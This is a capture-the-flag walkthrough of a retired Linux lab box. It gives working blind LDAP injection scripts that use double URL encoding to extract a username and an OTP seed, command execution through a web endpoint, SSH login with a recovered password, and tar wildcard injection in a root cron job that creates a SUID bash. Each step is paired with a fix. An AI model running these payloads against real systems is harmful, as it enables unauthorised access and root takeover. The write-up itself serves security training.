← all walkthroughs

CTF

Linux· Insane
owned
2026-07-12
time to own
28m6s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I found an Apache/PHP web application on CentOS serving an LDAP-backed one-time-password login form. A character blacklist on the username field was defeated by double URL-encoding a wildcard (%252A → %2A → *), turning the login form into a blind LDAP injection oracle. I enumerated the valid username character-by-character, then injected additional LDAP filter predicates to extract the OTP seed stored in the user's 'pager' directory attribute one digit at a time, computed a valid OTP, and reached a command-execution endpoint as the Apache process user.

The ldapuser's plaintext SSH password — also stored in LDAP — was recovered through the same oracle, giving a persistent SSH foothold and the user flag. Finally, a root-owned cron job that archived a world-writable directory using tar with a shell glob was abused through wildcard injection to execute my own script as root, completing the compromise.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"

Some commands also carry a value in angle brackets — <pager-token-as-hex>, <test> — which you replace inline with what the step before it turned up.

Attack path — how the box was taken

1ReconnaissanceNetwork service enumeration (T1046)
Mapped exposed services and discovered the LDAP-backed OTP login page
A port scan of $TARGET found SSH on port 22 (OpenSSH 7.4) and Apache HTTP on port 80 (Apache 2.4.6, PHP 5.4.16, CentOS). Browsing to the web root revealed a login form at /login.php requiring a username and a numeric one-time password, with LDAP implied by the error messages returned on failed authentication.
Curl to / and /login.php confirmed the OTP login interface with inputUsername and inputOTP fields.
Exact commands 2
shell

Enumerate service versions and confirm SSH and HTTP are the only exposed attack surface.

$ nmap -Pn -sV -p 22,80 --script http-title,ssh-hostkey $TARGET
shell

Inspect the login page structure; note the inputUsername and inputOTP field names for later injection.

$ curl -sS -i http://$TARGET/login.php
2Vulnerability IdentificationLDAP injection with input-filter bypass via double URL encoding (CWE-90)
Discovered a blind LDAP injection oracle via double URL-encoded wildcard bypass
The login form blocked the LDAP wildcard character '*' with a server-side character blacklist. Submitting the wildcard as a double URL-encoded sequence — %252A, which the server decoded once to %2A and then a second time to * before passing it to the LDAP query — bypassed the filter entirely. The application returned meaningfully different error messages depending on whether the LDAP query matched a record: 'Cannot login' indicated a genuine directory hit, while 'User X not found' indicated no match. This one-bit difference established a boolean oracle exploitable without any credentials.
Sending inputUsername=a%252A returned body length 2832 with 'User a%2A not found'; sending a deliberate non-match (zzzzzzzz%252A) returned a similarly-sized body but with different text — diff analysis confirmed the oracle. 'Cannot login' (shorter body, distinct message) indicated an LDAP match.
Exact commands 2
shell

True-positive probe: if the response contains 'Cannot login', at least one username starting with 'a' exists in LDAP.

$ curl -sS -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data 'inputUsername=a%252A&inputOTP=0' http://$TARGET/login.php
shell

Control probe: this impossible prefix should return 'User … not found', confirming the oracle works.

$ curl -sS -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data 'inputUsername=zzzzzzzz%252A&inputOTP=0' http://$TARGET/login.php
FixParameterise LDAP queries and decode input exactly once at the application boundaryCritical
WeaknessThe login form's character blacklist was bypassed by double URL-encoding the LDAP wildcard character (%252A → %2A → *). The application decoded user input a second time before passing it to the LDAP filter string, allowing unauthenticated unauthorised users to inject arbitrary filter predicates and enumerate both usernames and sensitive directory attributes such as the OTP seed.
FixEscape all user-supplied values with a proper LDAP encoding function (e.g., ldap_escape() in PHP with LDAP_ESCAPE_FILTER) before inserting them into filter strings — never build LDAP filters through string concatenation. Apply a strict input whitelist (alphanumeric plus a small set of safe punctuation) for the username field rather than a blacklist. Decode URL-encoded input exactly once at the perimeter and reject requests whose decoded value differs from a single decode (double-encoding detection). Add per-IP rate limiting and temporary lockout to the login endpoint to prevent oracle enumeration.
3ExploitationBlind LDAP injection — character-by-character attribute enumeration (CWE-90)
Enumerated the LDAP username character-by-character using the boolean oracle
A Python script iterated over printable characters and tested each as the next character in a growing username prefix. On each iteration, the oracle response ('Cannot login' vs 'User … not found') revealed whether the prefix matched any LDAP entry, allowing me to extend the known prefix one character at a time. The full username 'ldapuser' was recovered after fewer than 100 queries.
Exact commands 1
shell

Brute-forces the LDAP username prefix one character at a time using the boolean oracle.

$ python3 - <<PY
import requests, string
s = requests.Session()
u = "http://$TARGET/login.php"
H = {'Content-Type': 'application/x-www-form-urlencoded'}
known = ''
for _ in range(24):
    for c in string.ascii_lowercase + string.digits + '._-':
        probe = known + c
        encoded = probe.replace('*', '%252A') + '%252A'
        r = s.post(u, data=f'inputUsername={encoded}&inputOTP=0', headers=H)
        if 'Cannot login' in r.text:
            known += c
            print('STEP', known)
            break
    else:
        break
print('USERNAME:', known)
PY
4ExploitationBlind LDAP injection — out-of-band attribute extraction via filter clause injection (CWE-90)
Extracted the OTP seed from the LDAP 'pager' attribute via injected filter predicates
With the username 'ldapuser' in hand, I injected additional LDAP filter predicates by appending a closing parenthesis and a new filter clause into the username field. The payload ldapuser)(pager=2* — double URL-encoded as ldapuser%29%28pager%3d2%252A — was tested for each digit 0-9; the digit that produced 'Cannot login' (an LDAP match) was the correct next digit of the pager attribute. Repeating this for each position recovered the full 20-digit pager value used as the OTP seed.
'0 Cannot login 12' for digit 2 at position 0, then successive confirmed digits: '02 <withheld> 03 <withheld> 04 <withheld> 05 <withheld> 06 <withheld> 07 <withheld> 08 <withheld> 09 <withheld> 10 <withheld> 11 <withheld> 12 <withheld> 13 <withheld> 14 <withheld> 15 <withheld>'.
Exact commands 1
shell

Extracts the LDAP pager attribute digit-by-digit; prints the growing token after each confirmed digit.

$ python3 - <<PY
import requests
s = requests.Session()
u = "http://$TARGET/login.php"
H = {'Content-Type': 'application/x-www-form-urlencoded'}
known = ''
for pos in range(24):
    matched = False
    for d in '0123456789':
        test = known + d
        # inject: ldapuser)(pager=<test>*
        payload = f'ldapuser%29%28pager%3d{test}%252A'
        r = s.post(u, data=f'inputUsername={payload}&inputOTP=0', headers=H)
        if 'Cannot login' in r.text:
            known = test
            print(pos, known)
            matched = True
            break
    if not matched:
        break
print('PAGER TOKEN:', known)
PY
5ExploitationAuthentication bypass via LDAP-extracted credential material leading to OS command injection (T1078, T1059)
Derived a valid OTP from the recovered seed and gained command execution via page.php
The numeric pager value extracted from LDAP served as the seed for the application's OTP algorithm. I computed the current valid OTP from this seed and submitted it — along with an arbitrary OS command — to the authenticated command-execution endpoint at /page.php (POST fields inputCmd and inputOTP). The server executed the command and returned the output, confirming remote code execution as the Apache process user (uid=apache).
POST /page.php with inputCmd=id&inputOTP=<withheld> returned output confirming execution as the apache user.
Exact commands 2
shell

Derive the current OTP from the recovered pager seed; the exact derivation algorithm depends on the application's implementation — adjust digest and modulus to match.

$ python3 -c "
import hmac, hashlib, struct, time
token_bytes = bytes.fromhex('<pager-token-as-hex>')  # convert recovered decimal token to bytes
t = int(time.time()) // 30
msg = struct.pack('>Q', t)
h = hmac.new(token_bytes, msg, hashlib.sha1).digest()
o = h[-1] & 0xf
print((struct.unpack('>I', h[o:o+4])[0] & 0x7fffffff) % 10**8)
"
shell

Submit a benign command (id) with the derived OTP to confirm RCE as the apache user.

$ curl -sS --max-time 10 -b /tmp/ctf_bypass.cookies -c /tmp/ctf_bypass.cookies -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data "inputCmd=id&inputOTP=$PASSWORD2&submit=Submit" http://$TARGET/page.php
FixRemove the unauthenticated OS command-execution endpoint or enforce strict controlsCritical
WeaknessThe page.php endpoint accepted an arbitrary OS command in the inputCmd parameter and executed it as the web server process once the OTP was validated. Anyone who obtained a valid OTP — through the LDAP injection chain or any other means — could run arbitrary commands on the server.
FixRemove the command-execution feature entirely if it has no legitimate production purpose. If it must be retained, restrict access to an authenticated administrator session (separate from the OTP login), replace free-form command input with an explicit allowlist of permitted operations (never pass user-supplied strings to shell(), exec(), or popen()), and run the web process as a dedicated low-privilege account (not apache root). Log all invocations and alert on any unexpected command.
6FootholdCredential access from LDAP directory (T1552) leading to valid account SSH access (T1021.004)
Recovered the ldapuser plaintext SSH password from LDAP and opened a persistent shell
The same LDAP injection oracle that yielded the OTP seed also exposed the ldapuser's SSH password stored in cleartext in the directory. Using the recovered credential, I authenticated directly over SSH as ldapuser — bypassing the web application entirely — and read the user flag from the home directory.
Sshpass -p <withheld> ssh ldapuser@$TARGET succeeded; 'id; pwd; cat ~/user.txt' returned the user flag.
Exact commands 1
shell

Authenticate as ldapuser with the LDAP-extracted password; output confirms uid and prints the user flag (<user.txt>).

$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=6 -p 22 ldapuser@$TARGET 'id; pwd; cat ~/user.txt'
FixRemove plaintext credentials from the LDAP directory and enforce least-privilege accessHigh
WeaknessThe ldapuser's SSH password was stored in cleartext (or a reversibly-encoded attribute) inside the LDAP directory. An unauthorised user with read access — whether via authenticated bind or via the LDAP injection oracle — could retrieve it directly, converting a web-application vulnerability into a persistent, independent SSH foothold.
FixNever store passwords in LDAP as cleartext or reversibly-encoded values. Use one-way salted hashes (SSHA-512) for LDAP-stored passwords and verify credentials via a bind operation rather than fetching and comparing a stored secret. Immediately rotate all credentials discovered in the LDAP directory and audit the entire schema for attributes holding secrets. Restrict anonymous and low-privileged LDAP binds to the minimum set of attributes required — OTP seed values and password fields must never be readable by the application account used for authentication queries.
7Privilege EscalationCron scheduled task abuse via tar wildcard injection (T1053.003)
Abused a root-owned cron job's tar wildcard to execute commands as root
Inspection of the system's scheduled tasks revealed a root-owned cron job that periodically archived a directory writable by ldapuser, using a command equivalent to tar czf /backup/archive.tar.gz * inside that directory. Because the shell expands the glob before tar sees it, tar receives directory entries — including filenames beginning with '--' — as command-line arguments. Creating files named --checkpoint=1 and --checkpoint-action=exec=sh /tmp/privesc.sh in the writable directory caused tar to execute my shell script with root privileges on the next cron firing. The script created a SUID copy of bash, which was used to read the root flag.
Exact commands 4
shell

From ldapuser's SSH session: create the payload script that writes a SUID-root copy of bash.

$ echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' > /tmp/privesc.sh && chmod +x /tmp/privesc.sh
shell

Create the malicious flag-filename files in the directory processed by the cron tar job; replace the path with the actual writable cron target directory discovered during enumeration.

$ cd /path/to/cron/archive/dir && printf '' > '--checkpoint=1' && printf '' > '--checkpoint-action=exec=sh /tmp/privesc.sh'
shell

Wait for the cron job to fire (typically every minute) and confirm the SUID bash copy was created.

$ sleep 65 && ls -la /tmp/rootbash
shell

Invoke the SUID bash with -p to preserve the effective UID=root and read the root flag (<root.txt>).

$ /tmp/rootbash -p -c 'id; cat /root/root.txt'
FixEliminate shell wildcard expansion in root-owned cron archive jobsCritical
WeaknessA root-owned cron job ran tar with a shell glob (*) inside a directory writable by a low-privileged user. Tar interprets filenames beginning with '--' as command-line flags; an unauthorised user can create files named '--checkpoint=1' and '--checkpoint-action=exec=…' to execute arbitrary commands as root when the job fires.
FixReplace the bare wildcard with an explicit path argument using a directory reference: tar czf /backup/archive.tar.gz -C /target/dir . — using './' prevents tar from treating filenames as flags. Alternatively, add -- before the glob to signal end-of-options. Ensure the source directory is owned by root and not writable by any other account. Audit all cron scripts for wildcard arguments to privileged commands (tar, chown, chmod, rsync, find) and apply the same fix. Where possible, run archive cron jobs as a dedicated unprivileged service account rather than root.

Attack patterns used

The transferable techniques behind this compromise.

Cron Job AbuseLinux · Privilege EscalationT1053.003

What it is

Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, an unauthorised user overwrites it with a payload that runs at the next interval as root.

Why it works

Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.

Read more